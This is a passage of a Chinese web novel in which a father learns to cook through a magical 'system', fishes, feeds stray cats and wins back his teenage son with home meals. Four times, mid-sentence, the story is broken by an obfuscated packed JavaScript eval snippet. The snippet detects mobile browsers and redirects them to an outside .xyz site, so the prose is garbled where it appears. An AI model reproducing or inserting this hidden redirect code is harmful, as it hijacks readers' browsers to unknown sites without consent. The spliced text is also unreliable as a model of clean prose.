“我把你给丢进去炸了。”老爷子见他还吃上瘾了，瞪他一眼，“自己炸去，油温把握不好就拿手背探。” 楚易文重复炸了不知道多少次，终于炸出色泽金黄，看着就酥脆的小鱼干。 他毕竟是新手，这份成品跟老爷子做的比那肯定还是比不上，但勉强能及格，于是终于不用再重复枯燥的炸鱼动作，而是可以开始做蜜汁香辣酱。 老爷子教给他的蜜汁香辣酱由辣椒粉、红油豆瓣酱、蜂蜜等食材先炒再熬，酱调好将小鱼干下入进行翻炒，保证每根小鱼干都裹上酱，再撒上白芝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630382|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻就可以出锅。 “好吃！” 入口甜中带辣，辣中带咸，咀嚼间外酥里韧的蜜汁香辣小鱼干简直就是人间美味，好吃到楚易文不自觉开口夸赞。 火候把握得还算不错的小鱼干嚼劲十足，吃起来简直越嚼越香，让人越吃越想吃，根本停不下来。 老爷子拿起筷子夹一根丢进嘴里，最终给出“马马虎虎”的评价，看起来不算特别满意。 他满不满意没关系，反正楚易文自己挺满意，想着明天可以做给儿子尝尝。 他想得很好，然而却忘记高中生上学时间有点早，次日起床压根没时间让他做给儿子吃，只能等晚上放学。 这次系统没再提供食材，楚易文上午自己出门去买了不少，中午时自己在家做了道蜜汁香辣小鱼干，炒了道青菜当午餐。 吃饱喝足，想到昨天新买的鱼竿，他简单休息会就直接出门去。 “喵呜~” 他到昨天的老地方坐下，没多久那只狸花猫就又凑过来，蹲在旁边望着水面。 昨天让猫失望楚易文其实挺不好意思，今天出门前特意带了不少小鱼干。 他在家用昨晚刚学的煸鱼干技巧将小鱼干煸得焦焦脆脆，没有放任何调料，却将鱼干的原香全都给煸出来，刚拿出来就吸引得那只狸花猫凑过来就张嘴。 “别急。” 楚易文见自己手一松它就吃掉整根小鱼干，喉咙里还发出呼噜声，边说边继续投喂。 “你先吃小鱼干，等我上鱼了，马上就有大鱼吃。” “喵呜~” 狸花猫吃着香喷喷的小鱼干，听到他说话还挺给面子，发出那种夹出来的叫声。 片刻后，楚易文鱼没钓上来，倒是又吸引过来几只猫想吃他做的小鱼干，不过狸花猫在他面前“喵呜”叫，在同类面前却很凶，护食地不让其他猫靠过来吃。 楚易文见此，只能将小鱼干远远丢出去投喂那些猫，同时希望快点上鱼。 可能换个新鱼竿真能换换运气，没多久他还真掉上鱼来，虽然只是个小白条，但好歹也是鱼。 “来，吃大餐。” 他把白条丢在地上，然而狸花猫却是闻两下就抬起头，看起来似乎没什么兴趣。 见它还挑食上，楚易文有些无语，把剩下小鱼干投喂完就不再管它，而是继续钓鱼。 好消息，他今天钓到鱼！ 坏消息，全是还没巴掌大的小杂鱼…… 当然，还有个好消息，小杂鱼系统也认，昨天那个任务竟然还有效，在他钓到几条后就“叮”的一声响起，提醒日常任务完成，解锁新菜谱——红烧小杂鱼。 有新菜谱很好，但楚易文总觉得红烧小杂鱼什么的，有点像是在嘲讽他，最终钓的那几条小鱼也不想带回家，直接往周围的几只猫面前丢。 猫猫们许是确定真没有小鱼干吃了，在他收拾东西准备离开时，最终还是没有放过那几条小杂鱼，有的直接低头就吃，有的叼着鱼跑开。 5. 第5章 当天晚上，楚瑾钰下晚自习回来，远远就看到自家灯亮着，无意识皱了下眉。等他走到大门口，还没进屋就闻见一股诱人的香味，而随着门打开，香味更是扑鼻而来。 楚易文是算着时间做的蜜汁香辣小鱼干，听到动静立刻开口道：“回来了，我做了蜜汁香辣小鱼干，要不要吃点？” 楚瑾钰顺着声音走到厨房，就看到他爸将一锅红彤彤、香喷喷的小鱼干倒入盘中。 蜂蜜的甜香与鱼干的焦香融合，再配上辣椒粉的辛香和芝麻香，那股复合型香味简直闻得人口水都要下来。 楚瑾钰本来想问他爸怎么忽然做小鱼干，不过等走到近旁望着色香味俱全的小鱼干，却是直接被吸引，抽双筷子就直接吃起来。 被炸得金黄酥脆的小鱼干裹上酱后呈现漂亮的琥珀色，吃起来更是酥脆中带着韧劲，咀嚼间蜂蜜的甜香、鱼干本身的鲜香、辣椒粉的辛香混合在一起，简直越吃越香。 “爸这真是你做的？” 楚瑾钰感觉这香辣小鱼干比外面卖的还香，边吃边再次产生怀疑，觉得他爸一个工作狂怎么会做出这么好吃的东西。 “空口吃会不会太咸？给你煮个面条？”楚易文懒得再跟他解释什么，反正事实胜于雄辩。 “不用，很好吃，我不觉得咸。” 楚瑾钰感觉这比平常买的零食还香，吃得有些上瘾，一根接着一根，完全停不下来。 辣味最能刺激味蕾，同时小鱼干里的蜂蜜调味中和咸味，那带蜜汁回甘的滋味，确实不容易让人觉得咸。 看到儿子爱吃，楚易文觉得不枉自己昨晚学了那么久，光是炸鱼都重复不知道多少遍。 他脸上不由带出点笑容，伸出筷子准备尝尝这锅小鱼干做得怎么样时，没想到被儿子挡下来，先是一愣，随即没好气道：“你还护食上了？” “哪有。”楚瑾钰说完赶紧把盘子往他那边推了推，但手上筷子却是加快动作，明显吃得更快。 臭小子。 楚易文在心里笑骂一声，略尝两口就放下筷子，自我感觉这锅小鱼干做得不错，比中午味道更好些。 “爸你不吃了？”楚瑾钰边继续咀嚼鱼干，边抽空问。 “你慢慢吃，吃不完放冰箱。”楚易文说完开始收拾厨房，同时顺口多问一句，“味道怎么样？” “还行。”楚瑾钰明明吃得根本停不下来，心里已经被“好吃”给刷屏，嘴巴却是有点别扭。 楚易文觉得他干吃小鱼干有点太单调，想想拿了两片吐司给他。 半个小时不到，满满一盘蜜汁香辣小鱼干全部进入楚瑾钰肚子，吃得他嘴角边都沾上点酱料，脸上却是透着满足。 吃到美食他心情很好，不过刚吃时他还想着带点给朋友们尝尝，现在却被自己吃完了，又有点后悔自己嘴太快。 “怎么了？还没吃饱？” 楚易文见他吃完站在原地露出有点懊恼的表情，语气透着关心。 “没有，吃饱了。” “吃饱就行，今天在学校怎么样？” 美食确实是拉近关系的利器，父子二人在厨房里心平气和聊了会天，楚瑾钰甚至还帮忙把厨余垃圾拿出去扔掉。 次日，楚瑾钰早上起床脑海中第一个想起来的竟然是昨晚的蜜汁香辣小鱼干，以前他真没觉得蜜汁风味的东西有那么好吃，昨晚真是有惊艳到他，他感觉嘴里现在还能回味起那股咸中带甜，甜中带辣的滋味。 “你们是不知道，那蜜汁小鱼干吃起来有多香，那股蜜汁味一点都不腻人……甜甜辣辣，越嚼越香……” 早读时间，楚瑾钰跟几个朋友举着书闲聊时，顺嘴就提起自己昨晚吃的小鱼干。 “有那么夸张吗？以前怎么没听说过你爸还会做饭？”叶其林好奇道。 胡一齐则是舔着嘴说：“说得那么夸张，也没见你带点来给我们尝尝。” 楚瑾钰听到这话，想到自己昨天晚上没忍住全吃光了，心里有点不好意思，嘴上却道：“主要是我爸做得不多，下次，等下次给你们带。” “那这样看来你爸还可以嘛，还会给你做饭。”商时贸夸道。 楚瑾钰闻言脸上那点兴奋劲瞬间消散：“切，我长这么大，他也就上次做了回包子，昨天晚上做了个小鱼干，小鱼干算什么正经饭。” “可以了，好歹还给你做过，我爸别说给我做饭，不打我算好的了。”胡一齐道。 说到这楚瑾钰心里那个怀疑又浮上来，忍不住小声问几个朋友：“你们说会不会是我爸公司破产了？他这几天好像挺闲的，我天天回去都能看到他……” “不太可能，真要破产了他哪有那个闲情逸致去做什么饭。” 商时贸话落，叶其林也开口道：“马上要到国庆了，你爸是不是提前开始休年假了？” “往年别说年假，过年他都忙得很，有一年过年，大年三十晚上他才回家……”楚瑾钰想到那年爷爷奶奶从白天盼到晚上，生怕他不回家，话里透着点抱怨。 不过听到几个朋友的话，感觉公司应该没破产，他到底还是放下心来。 而被讨论的对象楚易文，他本来是想着要不到儿子学校看看，结果接到吴有健的电话，说是公司有事。 说是退出公司，但楚易文作为创始人之一，也不是说走就立刻能走的，现在有事他自然还是得过去。 在公司忙里忙碌完一天，等他回家时已经是月挂中天。 楚易文自己就是做房地产的，自然不缺房子，公司附近就有套大平层，不过自从父母去世后，他不可能留儿子一个人住，便每天下班宁愿开车回别墅。 别墅离公司有点远，但离学校近，妥妥的学区房。不过由于学区房地理位置好只健别墅有些浪费，他家不算别墅区，而是在一个有高层，有小洋房，还有别墅的小区里。 等楚易文开车到小区附近那条路时，忽然看到路边竟然还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630383|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在卖菜，见是个头发都白了的老太太，他干脆靠边停车询问菜怎么卖。 老人坐在自己的小三轮车上，见有人问菜，边整理自己的菜边开口：“你要就都拿去，给两块钱就行。” “都给我装起来，按正常价卖，两块钱太便宜了。”楚易文说完跟着一起动手把菜往袋子里装。 老人还挺健谈，说是她自己种的菜，能卖出去她就不亏。 老一辈人似乎从来不把自己的时间成本和花费的力气算成钱，好像自己种的只要卖出去就是赚钱一样，令楚易文有些不知道说什么好。 车上菜至少有两三斤，楚易文肯定不会占便宜花两块钱就买走，他边从身上套现金边顺口跟老人闲聊，问她菜地在哪，来这里卖菜远不远。 “哪有什么菜地……” 得知老人就住在市里，是自己找的没人用的泥巴地开荒种点菜，平常自己吃，再拿出来卖点，楚易文心里越发佩服。 老人看到他放到车上的钱，立刻掏口袋要给他找钱。 “不用找了，很晚了，你早点回家去。”楚易文说完赶紧拎着菜上车，不给老人反应的机会就开着车离开。 车子刚开出去没多久，系统声“叮”地响起，又给了个“香菇炒青菜”的菜谱。楚易文已经习惯系统声，表情都没有变化，很快就开车回到家里。 别墅内。 楚瑾钰在房间里听到车声，本来还准备玩会手机的他直接倒在床上关灯睡觉，闭上眼前眼中似乎闪过一丝失望。 接下来几天，楚易文白天去公司，晚上学习做菜，日子过得倒是挺充实。 一转眼又到周末，楚瑾钰可能是晚上又熬夜了，早上楚易文喊他起床吃早餐都没喊起来人，只能自己出门买菜去。 最近几天他学了好几道菜，正好今天没什么事，就想着自己在家做饭，让儿子好好尝尝他手艺。 临近中午，房间内楚瑾钰终于醒来。少年人精力就是旺盛，昨晚跟几个朋友通宵开黑到凌晨五点才睡觉，这会一醒却是床都没有赖，直接坐起来玩手机。玩了一会感觉肚子有点饿，他才起身去洗漱。 等他终于打开房间门出来时，阵阵香味扑鼻而来，让本就饿的他肚子直接咕咕叫个不停。 厨房内，楚瑾钰正在做最后一道香菇炒青菜。提前加盐和一点点油焯过水的青菜看起来格外翠绿，配上香菇一起炒，两个颜色搭配起来特别漂亮。 等到菜炒好出锅，青菜卧在白瓷盘中如翡翠般通透，香菇上则是挂着汁，微微泛着浅金色油光，菌香混合菜香，配上淡淡蒜蓉香气，明明是道素菜，却闻着就令人食欲大开。 “爸这都是你做的？”楚瑾钰顺着香味来到厨房，看到台面上那一盘盘色香味描述的菜，眼睛都微微睁大。 “怎么这么晚才起来？昨晚几点睡的？” 没哪个孩子喜欢听家长念叨，楚瑾钰本来微扬的声音瞬间就落下去：“放假我还不能睡个懒觉。” 6. 第6章 “这都中午了……”楚易文没说不让他睡懒觉，只是觉得他连早餐都不吃直接睡到中午对身体不好。 楚瑾钰听到唠叨声有点不耐烦，同时又下意识想起爷爷奶奶，到底还是没跟他顶嘴，而是转移话题：“可以吃饭了吗？我饿了。” “早餐都没吃，能不饿吗？”楚易文说着打开电饭煲去盛饭，同时使唤他把菜端出去。 厨房内摆放着好几道菜，卖相都特别诱人，尤其是那盘鸡翅，看起来色泽红亮，晶莹的蜜汁在鸡翅表面形成一层薄壳，上面点缀着白芝麻，看着就令人食指大动。 楚瑾钰吞咽一下口水，边端起盘子边悄悄伸手捏起个鸡翅送入嘴里，轻轻咬下去，表面焦脆薄壳发出轻微咔嚓声，咬下去时外焦里嫩，蜜汁香味瞬间在味蕾上化开，吃起来咸甜交融，简直别提有多香。 饿肚子时本来就吃什么都香，这一口鸡翅吃下去，他香得差点没咬到舌头，只觉得世界上怎么会有这么好吃的鸡翅。 楚瑾钰还沉浸在鸡翅的美味中时，已经盛好饭的楚易文发现他在偷吃，心里还挺有成就感，不过还是多问一句：“你手洗了吗？” “洗了。” 楚瑾钰把嘴角一擦，立刻进厨房把其他几道菜端出来，已经迫不及待想坐下来好好享用午餐。 除了蜜汁鸡翅外，桌上还有蜜汁排骨、蜜汁香辣小鱼干、香菇青菜。一共四个菜，父子二人吃绝对只多不少。 楚瑾钰坐下来后连话都顾不上说，端起碗就吃起来，鸡翅塞进嘴里两下就把骨头吐出来，大口咀嚼着外焦里嫩的鸡翅，香得嘴巴根本停不下来。 鸡翅吃完，他立刻将筷子伸向蜜汁香辣小鱼干。上次吃过以后他就一直惦记这道小鱼干，后面还特意去超市找类似的零食，然而外面卖的要么咸得要命，要么口感没那么好，反正是吃得他直皱眉。 今天终于又吃到蜜汁香辣小鱼干，楚瑾钰嘴巴根本停不下来，觉得这焦中带韧，越嚼越香，余味中带着满满蜜汁回甘滋味的小鱼干，简直是人间美味。 就着小鱼干吃完几口饭，他又把筷子伸向那道排骨，裹着蜜汁的排骨表面呈琥珀色，看起来油亮诱人，还没吃就令人垂涎欲滴。等到排骨入嘴，蜂蜜特有的甜香混合高温产生的焦糖与肉香，蜂蜜的甜和排骨的咸鲜结合得恰到好处，吃得人连骨头都啥不得吐出来。 楚瑾钰连吃好几块蜜汁排骨，吐出来的骨头干净得估计狗都不肯再啃，脸上表情那叫一个满足。 “别光吃肉，青菜也吃点。”楚易文看到儿子吃得那么香，脸上不自觉露出点淡淡笑容。 天大地大，做饭的人最大，楚瑾钰这会倒是没再叛逆，直接听话地伸出筷子去夹青菜。 本来他只是随意夹一筷子，然而等吃进嘴里时，却是被青菜的脆嫩清甜给惊艳到，不由又吃一筷子。青菜咬下去时汁水充盈，完全没有土腥气，吃起来只有蔬菜的清新爽口，里面的香菇嫩滑弹牙，咀嚼间菌类特有的鲜味和青菜融合在一起，明明是很清淡的味道，却吃得人特别舒服。 “这是什么青菜？怎么这么好吃？”楚瑾钰说完不等楚易文回答就忍不住吐槽起来，“同样是青菜，我们学校的青菜简直难吃死了，煮得特别烂……” 他不缺零花钱，但作为学生，也没那么多时间天天跑外面去买饭吃，日常吃学校食堂的日子并不少，吃着格外爽脆的青菜，立刻就想到食堂里又黄又软烂，一点口感都没有的青菜。 “就是普通青菜，不过是今天现挖的，菜新鲜，炒出来自然好吃。” 青菜是楚易文特意去上次那个摆摊的老太太那买的，老人家还记得他，专门挑好的给他装了一大袋子。 楚瑾钰觉得菜再新鲜，炒得不好也白瞎，没错，他说的就是学校食堂那帮厨师。发现他爸还有这个手艺，只会吃不会做的少年眼神里都带着几分佩服。 楚易文察觉到儿子的眼神，心里比吃了蜜还甜。 桌上这四样菜，每样楚瑾钰都特别喜欢，不过吃着吃着他忽然发现一个问题：“爸，你很喜欢吃甜口菜吗？怎么今天菜都是蜜汁的？” 倒不是说蜜汁味不好吃，只是他有点疑惑为什么都是蜜汁。 失误了，早知道应该做道红烧小杂鱼…… 楚易文作为父亲，在儿子面前还是有点要面子的，自然不愿意说自己目前只会这几道菜。 至于为什么他没做红烧小杂鱼，可能是这个食谱容易勾起他那天钓不到大鱼的回忆。当然，主要也是他觉得一顿饭两盘鱼有点重复，想着上次蜜汁香辣小鱼干儿子爱吃，就还是紧着小鱼干做。 “上次买了不少蜂蜜，想着多做几道菜试试味道，怎么，你不喜欢吃蜜汁口的菜？” “没有，我就是随便问问。” 楚瑾钰说完一口一块排骨，一口几条小鱼干，用行动表示他喜欢吃，好像生怕吃慢一点他爸下次就不做了。 父子二人挺久没在中午好好坐在一起吃顿饭，楚易文本来还准备问问他作业有没有做，想想还是不想破坏气氛，便将话咽回去，安静地陪儿子把饭吃完。 由于几道菜都很下饭，楚瑾钰不知不觉就吃撑了，不过脸上表情却是很满足，甚至还知道主动帮忙收拾碗筷。 盘子里汤都被他拿去拌饭吃，倒是不难收拾，拿起来往洗碗机里一塞就好。 楚易文看到儿子这么勤快，忍不住偷偷拿手机拍起来，拍完发给好友吴有健。 公司里吴有健忙得连午饭都还没顾上吃，收到他发过来的消息忍不住在心里骂起来，觉得这人是真缺德，把公司一大摊子丢给自己就算了，现在还要来跟他炫孩子。 这会他没空，不过等下午时就抽空打个电话过来，骂两句后才道：“你小子真行啊！我还以为你是开玩笑，没想到你还真回家带孩子去了！我没记错的话瑾钰已经读高中了吧？这么大的孩子哪用人照顾，你至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630384|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于吗？” “你懂什么，高中正是孩子人生最重要的时候……”楚易文想到梦中儿子就是在高中时行差踏错，导致最终的悲剧，觉得没有比这更重要的时候。 两个人从孩子聊到公司时，楼上楚瑾钰收到叶其林发来的消息，喊他出去玩。 楚瑾钰下楼发现他爸还在家里，正犹豫要不要跟他说一声，就见他爸挂掉电话看过来：“去哪？” “去打篮球。” 孩子爱运动不是什么坏事，楚易文自然不会阻止：“晚上回家吃饭吗？” 换做平常楚瑾钰肯定不会回家吃饭，不过想到中午吃的菜，他喉咙不自觉滚动两下，不答反问：“你做还是点外卖？” 现在已经一点多快两点，如果晚上回来吃饭根本玩不了多久，要是晚餐吃外卖的话那他肯定不回来。 “我做。” “那我回来吃。” 目送儿子离开，想到自己不费吹灰之力，只简单做几个菜就让他知道回家，楚易文唇角不自觉扬起。 不过笑完想到自己仅会的那几个菜，他又有点笑不出来，决定还是去钓点杂鱼回来，晚上做个红烧小杂鱼。 楚易文开车出门，很快就到达上次钓到小杂鱼的河边，虽然不确定上次那些猫会不会过来，他还是特意带了点猫粮、猫条。 老天爷有时候是真调皮，特别喜欢跟人开玩笑，上次他想钓大鱼钓不到，今天明明是冲着钓小杂鱼过来，结果坐下来没多久，却是钓起来一条四五斤的草鱼。 楚易文收杆从鱼钩上解下鱼，心里很是有点无语，而与此同时，几只猫闻着鱼腥味跑过来，围在他身边发出喵喵叫声。 “这么大的鱼你们吃得动吗？”他低头看着那些猫，倒不是舍不得鱼，好吧，难得钓到这么大的鱼，他还确实有点舍不得，说完还是拿出特意准备的猫粮和猫条投喂它们。 野猫警惕性比宠物猫高很多，楚易文投喂猫条时见有只橘猫眼睛圆滚滚，脑袋也圆滚滚，想伸手去摸两下时，却是差点被它挠一爪子。 “喵嗷——” 楚易文还没反应，最开始过来的狸花猫却是一爪子对着橘猫挠过去，惊得橘猫直接跳起来躲出几米远。 见狸花猫竟然会帮自己揍其他猫，楚易文诧异过后奖励给它两根猫条，随即才转身继续钓鱼。 今天是真见鬼，一条小杂鱼都没掉上，反倒是很快又上来两条大鱼。 “喵呜~” 楚易文有些无语时，猫猫们倒是很激动，对着钓上来的鱼叫个不停。既然已经有好几条鱼，他自然不会小气，直接用剪刀将其中一条鱼剪开分给它们吃。 投喂完猫，楚易文心里盘算着都是鱼，用红烧小杂鱼的做法做大鱼应该也没啥问题，将带来的猫粮全部留在原地后，收拾东西回家去。 他走了，附近的猫猫们倒是挺幸福，又有鱼吃又有粮，吃完还能直接在河里来两口水。 7. 第7章 楚易文钓完鱼收拾东西回家做饭时，另外一边，楚瑾钰跟朋友已经从篮球场转战到网咖。 其实他们几个家里都有电脑，不过打游戏肯定还是在网咖里开个包房，或者去电竞酒店更有气氛些。 “你们吃不吃？”胡一齐趁着游戏间隙拆开包薯片边吃边问。 四个人里数他最爱吃，坐在电脑前嘴巴就没停过。其他三人专心打游戏，完全没有要吃零食的意思。 打游戏很消耗时间，又一把游戏结束，楚瑾钰想到什么，看了眼时间后道：“不打了，你们继续玩，我得回家吃饭了。” “回什么家，饿了直接就在网咖吃呗。”今天上分上得很顺，叶其林正在兴头上，不想让他走。 胡一齐此时手里又吃上饼干，闻言接话道：“网咖的猪脚饭不错，要不晚上吃猪脚饭？” “没办法，我爸喊我回家吃饭，我也不想回去，但他亲自下厨，总得给点面子。”楚瑾钰本来还没觉得饿，想到中午吃的那几道菜，嘴里已经开始不自觉分泌口水。 他说完直接起身，却被胡一齐伸手一把拉住：“真的假的？你爸给你做饭？做什么好吃的？” 见楚瑾钰在那装上，偏偏还有傻子如此配合，叶其林摇摇头后开口道：“你不想回家还不容易，手机给我，我帮忙给叔叔说。” “用不着，反正游戏也打完了，我回去看看我爸做什么好吃的，他中午做了蜜汁香辣小鱼干，还有蜜汁排骨、蜜汁鸡翅和青菜，别说，味道还挺不错，就连青菜都特别好吃，又脆又爽口。” 楚瑾钰说完是真迫不及待想知道晚餐会有什么好吃的，冲几个朋友挥挥手就直接开门跑路。 “跑那么快干嘛，都不说带我一个，我也想吃蜜汁鸡翅和蜜汁香辣小鱼干……” 胡一齐这个吃货对着包房大门吐槽时，楚瑾钰已经下楼打车回家。 他到家时不早不晚，离七点还差几分钟，刚进门就闻见一股浓郁鱼鲜味。这股鱼鲜味和中午带着蜜汁香的小鱼干不同，而是鲜味浓郁。 厨房内。 红烧小杂鱼做法简单，将小杂鱼处理干净，尤其是腹内黑膜要全部撕干净才更好去腥。处理好的鱼先小火慢煎，再爆香葱姜蒜以及干辣椒等配料后下入鱼，将生抽、老抽等调料用水炖一会，大火收汁就可以出锅。 楚易文用红烧小杂鱼来做他钓起来的那几条大鱼，其他方面还好，就是在处理鱼时费了些功夫。毕竟小杂鱼好拿捏，大鱼个头大，如果不是他在系统厨房里学习过，有处理小杂鱼的经验在，怕是还搞不成。 随着锅里汤汁收得差不多，浓郁的鱼鲜味弥漫整个厨房，尤其是等到红烧鱼出锅时，更是特别勾人食欲。 楚瑾钰走进厨房洗完手，不用人叫就自觉地去拿碗盛饭。 以前楚家两位老人在时，他就喜欢跟在奶奶身后帮忙端碗拿筷子，这些活对他来说简直不要太熟悉。 很快饭菜就端上桌，晚上有红烧鱼，还有炒青菜和蜜汁鸡翅。由于鱼分量比较大，一盆装不下，直接分成两份装，所以晚上桌上也是四个菜。 “本来准备烧个小杂鱼，结果一条小杂鱼都没钓上来，钓的全是大鱼。” 楚瑾钰边朝红烧鱼伸出筷子边问：“这是你自己钓的鱼？看起来挺大的。” 鱼被切成块状，先煎后烧，整体看起来卖相很是诱人，透过红亮的酱汁能看到鱼块表面被煎得金黄微焦，看着就特别好吃。 “对，我回来称了一下，差不多有六斤重，不过草鱼刺多，你吃的时候小心点刺。”楚易文说完握着筷子尝了口鱼，感觉不如他在系统厨房里做的红烧小杂鱼好吃。 他略一思索就想明白，哪怕把鱼切成块，但大鱼的厚度和小杂鱼还是有区别，火候方面肯定有区别，哪怕他做鱼时有特别注意这点，但火候把握得还是不够完美。 “今天鱼没做好，你凑合吃，等下次钓到小杂鱼，我再做个红烧小杂鱼给你尝尝。” 楚瑾钰此时也已经吃上鱼，刚入口就尝到汤汁的鲜咸味，由于放了干辣椒，咸鲜中还带着淡淡辣味，咀嚼间表皮焦香，鱼肉细嫩入味，而且吃起来没有腥味，简直越吃越香。 他正在感叹红烧鱼好吃时，就听到他爸说的话，感觉他爸简直是在凡尔赛。 这鱼还不好吃？那他学校食堂做的鱼算什么？猪食吗？ 楚瑾钰不想说话，怕让他爸太得意，只一个劲埋头吃鱼。 红烧鱼调味那叫一个香，他特别喜欢鱼皮吸收汤汁，咀嚼间那种焦香中带着汤汁满满的感觉，尤其是再配上口饭，味道简直绝了！ 红烧鱼里还放了点青椒，青椒吸收鱼汤，吃起来很是爽口，楚瑾钰越吃越觉得好吃，干脆倒了点汤到碗中拌饭吃。 “小心刺。”楚易文提醒一句，看到儿子吃得那么香，觉得自己鱼没白做的同时，有点想多学几个菜了。 楚瑾钰吃得压根没空说话，随意点下头就继续吃起来，鱼汤拌饭来一口，蜜汁鸡翅来一口，爽脆的青菜再来一口，好吃到整个人差点没飘起来。 自从奶奶去世后他基本上都是在外面吃饭，然而学校食堂菜味道一般，外卖则是重油重盐，吃多了都很腻歪。难得吃上家常菜，还是味道特别好的这种家常菜，他没直接把饭倒菜盘子里吃就已经是有教养。 “爸你还吃吗？不吃我就扫盘子了。”楚瑾钰看到他爸放下筷子，望着桌上还剩的菜说。 “我不吃了，你慢慢吃。” 楚易文话落，楚瑾钰直接把剩下的青菜和鸡翅全部夹进碗里。 皮焦肉嫩的蜜汁鸡翅和清脆爽口的青菜吃完，他又把鱼肉和青椒全部挑出来吃掉，还把电饭煲里剩下的米饭都盛到碗里，用鱼汤拌着全部吃光光。 楚易文见他把桌上盘子全部扫空，见鱼汤都没剩下，有种手艺得到认同的满足感。 高兴之下，本来准备问问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630385|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子作业有没有做完的他直接忘掉这事，而是转而跟他商量起国庆假期。 “国庆节我准备回趟老家，你是跟我一起去还是待在家里？” 今年清明时公司太忙没时间回去祭祖，现在有空，楚易文就想着回去扫扫墓，顺便求祖宗保佑一下，别让自家儿子落到梦中那个下场。 “我跟你一起去。” 提到老家楚瑾钰就想到爷爷奶奶，比起出去玩，他还是更愿意去祭拜爷爷奶奶，顺便向他们告状，说他爸做饭那么好吃竟然在家里一直不做饭。 次日是星期一，学生们还沉浸在周末的美好中，一个个坐在教室里看起来都不是很精神。 “你爸昨天给你做什么好吃的了？”胡一齐趴在桌上，对着楚瑾钰随口问。 “没做啥，炒了个青菜，做了蜜汁鸡翅和红烧鱼，鱼是他自己钓的，味道还不错，感觉比外面餐馆还好吃。”楚瑾钰回味着昨天那道红烧鱼，觉得鱼汤拌饭可真香。 “有照片吗？” “没有。” “无图无真相，那我不信，除非你带我尝尝。” “爱信不信，想吃让你爸给你做去。” 楚瑾钰和胡一齐拌了两句嘴，最终还是叶其林开口打断他们：“马上就要国庆了，放假你们准备去哪玩？” “我要跟我爸回老家。”楚瑾钰道。 他们几个讨论一下国庆假期后，楚瑾钰忽然想起来自己作业还没做，于是伸手拍前排同学的肩膀：“邵言易，作业借我看一下。” 说好听是看，实际上就是借作业来抄。不过邵言易好像已经习惯，没说什么就直接把作业递过来。 “谢了。” “我靠，差点忘记还有作业了，给我也抄一下。”胡一齐看到楚瑾钰抄作业，瞬间反应过来。 这边他们忙着抄作业时，楚易文则是开车到处溜达起来。他想多学点菜，但他获得的那个系统好像有点呆呆的，沟通不了就算了，还没个说明书，他只能根据之前获取菜谱的方法试试。 “土鸡蛋，自家散养的土鸡蛋。” 发现路边有个老大爷在卖土鸡蛋，楚易文觉得土鸡蛋是个好东西，见篮子里只有十几个，干脆全买下来。 买完发现系统没有反应，他有点失望，提着鸡蛋准备回车上去时，有个年轻人凑过来小声说：“你被骗了，那老头卖的根本不是土鸡蛋，他是在超市买的鸡蛋拿到街边卖。” “谢谢。”楚易文得知真相好气又好笑，不过几个鸡蛋而已，他也懒得去找那个老头麻烦，道谢完就转身离开，想着要不要去附近村子里收点土鸡蛋再试试。 不过想到国庆就要回老家，比起附近完全不熟的村子，还是老家更方便，楚易文最终还是打消念头，决定还是钓鱼去。 还真别说，自从放下工作整个人都闲下来后，除了做菜，他还体验到钓鱼的乐趣，尤其是钓完鱼还能做成菜吃，简直一举两得。 8. 第8章 今年国庆又和中秋连在一起，楚瑾钰学校放七天假，可把他们这帮学生给高兴坏，还没放假心已经飞到校外去。 “待会去吃什么？”下午最后一节课，胡一齐小声跟楚瑾钰他们几个商量。 叶其林想着明天就放假，懒得折腾：“在食堂凑合一顿得了。” “你们去吃吧，我爸待会过来接我。”楚瑾钰想到不用上晚自习，脸上笑得那叫一个开心。 胡一齐：“接你干嘛？去吃饭？” “你就知道吃。”楚瑾钰白他一眼，“我爸说怕国庆高速会堵车，所以今天下午就出发回老家，他已经帮我请过假了。” 胡一齐得知他今晚不用上晚自习，提前进入国庆假期，不由发出羡慕的声音，被讲台上老师瞪了两眼。 